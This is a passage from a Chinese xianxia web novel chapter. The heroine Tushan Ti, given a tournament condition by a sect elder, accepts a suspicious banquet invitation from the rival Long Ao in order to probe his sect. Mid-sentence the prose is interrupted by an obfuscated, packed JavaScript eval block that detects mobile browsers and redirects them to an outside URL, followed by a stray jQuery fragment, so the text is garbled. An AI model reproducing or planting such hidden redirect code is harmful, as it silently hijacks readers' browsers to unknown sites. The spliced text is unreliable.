涂山媞自从议事堂中出来便拉长了脸,想到方才景虚真人所言,脸色更是黑如煤石。
她就知道那老头答应得那般爽快,定然有猫腻。
果不其然——
“但我有一个条件。”
“今年的宗门大比,我要你夺得魁首。”
“你若夺了魁首,我便让你去看青离的佩剑。”
魁首?涂山媞听闻此言几乎气笑。
宗门大比的魁首岂是那么好拿的?
且不说南知阙已连续拿了四年魁首,就凭她现下这两招半吊子,也就糊弄糊弄这群归一宗的普通弟子,真到了宗门大比,恐怕连最终决战都闯不进去。
罢了,既然明的不行,那便寻个机会想办法溜进去。
涂山媞从不会在一件事上钻牛角尖,想定了便不再纠结,脚步轻快起来。
恰在此时,云梨传音随风而至。
“阿媞,快来天剑峰这里!”
涂山媞到天剑峰之时,便见场中众人都围在一起,而被围的中心,正是龙鳌。
“阿媞!”云梨老远便看到了她,一路小跑过来,团子一般的脸上满是隐约的兴奋之色:“真的都被你料到了!”
“那草包一大早就来天剑峰,说今日便要启程回去了,临走前特意来此,想与你拜别呢。”
“哼,说什么拜别,谁不知道他满肚子坏水!”
涂山媞一边听着云梨在耳边碎碎念,一边快步走入了人群中。
“云媞仙子。”
龙鳌见到涂山媞后,眸中极快地闪过一丝几不可察的暗喜之色,面上却是与那日截然不同的彬彬有礼,还带着几分恰到好处的歉意:
“在下择日便要启程回宗门去了。”
他一边说着,一边竟拱手行了个礼:“昨日行事莽撞,唐突了仙子,思来想去,寝食难安,故而今日特来向仙子赔个不是。”
涂山媞双手抱臂,似笑非笑地望着面前假模假样的人,唇畔轻轻勾起:“空着手来赔不是啊?”
龙鳌闻言愣了愣,似是没想到涂山媞竟如此“厚颜无耻”,面上那点“诚恳”都僵了僵。
他本就是为了做做样子,怎会真的准备赔礼?
可余光瞥了瞥周围一圈来看热闹的归一宗弟子,只得咬了咬牙,从乾坤袋中拿出了一个玉瓶。
“怎会,仙子说笑了,这个给仙子,便权当是在下一点心意,还望仙子莫要嫌弃。”
涂山媞接过,打开瞥了一眼,毫不掩饰地撇了撇嘴,随手丢尽了乾坤袋。
那表情仿佛丢的不是丹药,而是什么碍眼的垃圾。
龙鳌袖中的拳头倏然握紧,脸上强扯出的笑容扭曲了一瞬。他深呼一口气,压下翻腾的怒火,声音愈发“诚恳”:
“这只是一点小小的心意,为表我的诚意,我昨日已特意命人在万流城中订下了一桌盛宴。今日前来,便是特邀仙子赏光赴宴,容在下当面致歉。”
“哦?”涂山媞闻言,饶有兴致地歪了歪头:“宴席?”
“正是!”龙鳌神色愈发恳切,声音都拔高了几分,抑扬顿挫道:
“昨日有幸目睹仙子在擂台之上以一敌三之风采,更是亲眼目睹了‘山海斩’那等失传已久的绝世剑招,在下心中实在震撼无比,佩服之至!”
“此番设宴,恕在下直言,不仅仅是为了向仙子赔罪,更是……想同仙子结交一番。”
“谁人不知我万兽山素来广天下英杰,常言道,多一个朋友,便是少一个敌人。”
“仙子如此年纪便能施展出此等身手,前途不可限量,我龙鳌亦不是傻子,自然不想与仙子为敌,故而——”
他拱手,深深一礼。
“还请仙子,赏在下一个薄面!”
龙鳌这番话说得实在是慷慨激昂,情真意切,姿态放得极低,与昨日那般飞扬跋扈的模样简直判若两人。
涂山媞双手依旧抱在胸前,姿态闲适地听完龙鳌这番话,忽地笑了笑:
“好啊。”
龙鳌没料到涂山媞答应地这般容易,倒是愣了愣,随即狂喜涌上心头,忙道:“那届时,在下便派人来亲自接——”
“不必麻烦”涂山媞打断他,随意道:“定了时辰,给我送个信即可。”
“如此也好,如此也好。”龙鳌忙不迭地应承,唇角的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086947|189039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑意几乎快要压不住。
“还有事?”涂山媞看着他,眉梢微扬,神态分明写着“没事就快滚”。
“啊?哦哦,没事了。”龙鳌被她那眼神一次,心头又冒出火气,因着心中“大计”,只得强压下去,又朝着四周看热闹的归一宗弟子拱手告辞:“诸位,在下便就此告辞了!”
说罢,他转身便走,脚步飞快,仿佛身后有什么洪水猛兽。
涂山媞望着龙鳌落荒而逃,孤身一人的背影,若有所思地微微眯了眯眼。
那个形影不离,气息古怪的灰衣老仆……不见了。
也不知舒娘那边如何了。
她从昨日下了擂台,便在等着龙鳌主动找上门。
不过没想到,他竟打的是这个主意。
就这么笃定,她只要踏出归一宗的山门,便是他砧板上的鱼肉了么?
涂山媞唇角缓缓勾起一丝冰冷的弧度。
谁是那瓮中的鳖,可不好说啊。
待龙鳌一走,云梨便将涂山媞拉到了无人处。
“阿媞,你真要去啊?”云梨凑到她身边,压低了声音,圆溜溜的眼睛里满是担忧,“那草包一看就没安好心,虽然咱们早有准备,但若是他使什么阴招……”
“嗯,”涂山媞应了一声,目光依旧落在龙鳌消失的方向,“我知道。”
“知道你还去?”云梨有些着急:“你又不是不知道那万兽山是做什么的!想来他们定有专门对付我们的法子,你若贸然前往,我同舒姨又无法及时赶到……
“所以我才要去。”涂山媞收回目光,看向云梨,眼中尽是安抚之色,“我此番前去,便是要看看他们万兽山到底有何手段,能如此轻易便……”
此时二人身在归一宗,余下的话便未出口。
云梨却是一怔,顿时便明白过来:“即便如此,又何须你以身犯险?”
涂山媞无奈地笑了笑,最终只是轻轻拍了拍她的脑袋:“放心吧,别太小瞧你家少主了。”
云梨听闻涂山媞抬出了“少主”二字,便知自己说什么也没用了,只满脸不高兴地嘟囔:“待我回家定要向姑姑伯伯们告你的状!”